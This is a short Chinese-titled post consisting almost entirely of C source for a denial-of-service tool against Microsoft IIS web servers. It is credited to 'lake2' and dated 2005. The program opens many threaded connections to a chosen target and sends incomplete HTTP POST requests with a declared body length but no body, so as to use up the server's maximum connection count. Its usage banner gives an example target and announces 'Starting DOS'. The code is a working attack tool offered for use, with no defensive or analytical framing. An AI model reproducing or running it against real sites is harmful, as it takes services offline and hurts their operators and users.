利用IIS最大连接数实现网站DOS

#include "winsock.h"
#include "stdio.h"
#include "string.h"
#include "io.h"
#pragma comment(lib,"ws2_32.lib")
#define BUFLEN 1024
#define MAXThreadCount 10 //设置最大线程数

int ThreadCount=0; 

struct mydata
{
char *ip;
int port;
};


unsigned int resolve(char *name)
{
struct hostent *he;
unsigned int ip;

if((ip=inet_addr(name))==(-1))
{
if((he=gethostbyname(name))==0)
return 0;
memcpy(&ip,he->h_addr,4);
}
return ip;
}


DWORD WINAPI Dos(LPVOID lpParam ) 
{ 
mydata *csdn = (mydata*)lpParam;
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(csdn->port);
server.sin_addr.s_addr = resolve((char*)csdn->ip);
if(server.sin_addr.s_addr==0)
{

printf("Don't find address %s\n",(char*)csdn->ip);
exit(0);
}
int my;
char buf[100]="POST / HTTP/1.1\r\nHost: ";
strcat(buf,(char*)csdn->ip);
strcat(buf," \r\nContent-Length: 10\r\n\r\n");
my=socket(PF_INET,SOCK_STREAM,0);
if(my==INVALID_SOCKET)
{
printf("ERROR");
exit(0);
}
if(connect(my,(struct sockaddr *) & server,sizeof(server))==SOCKET_ERROR)
{
printf("Socket ERROR:%d",GetLastError());
exit(0);
}
if(send(my,buf,strlen(buf),0)==SOCKET_ERROR){printf("ERROR:send fail!");}
ThreadCount--;
return 0; 
} 

void thread ( char *a1 , char *a2 , char *a3 )
{
static mydata tmp;
tmp.ip = a1;
tmp.port = atoi(a2);

DWORD dwThreadId;
HANDLE hThread; 
WSADATA ws;
if (WSAStartup( MAKEWORD(2,2), &ws )!=0)
{
printf(" [-] WSAStartup() error\n");
exit(0);
}

hThread = CreateThread( 
NULL, // no security attributes 
0, // use default stack size 
Dos, // thread function 
&tmp, // argument to thread function 
0, // use default creation flags 
&dwThreadId); // returns the thread identifier 
if (hThread == NULL) 
printf( "CreateThread failed." ); 
ThreadCount++;
Sleep(200); //延时，否则CPU会用满……
CloseHandle(hThread);
}

int main(int argc, char* argv[])
{
int i=0;
if(argc!=4)
{
printf("\n\tIIS MaxConnectionCount DOS by lake2 ,Jul,8,2005\n");
printf("-Usage:\n");
printf("%s <TargetAddress> <port> <MaxConnectionCount>\n",argv[0]);
printf("-Example: %s www.target.com 80 300\n",argv[0]);
return 0;
}
printf("Starting DOS.............Ctrl + C break\n");
while( i < atoi(argv[3]) )
{
if( ThreadCount < MAXThreadCount ){ thread(argv[1],argv[2],argv[3]); i++;}
}
while( 1 ){ }
WSACleanup();
return 0;
}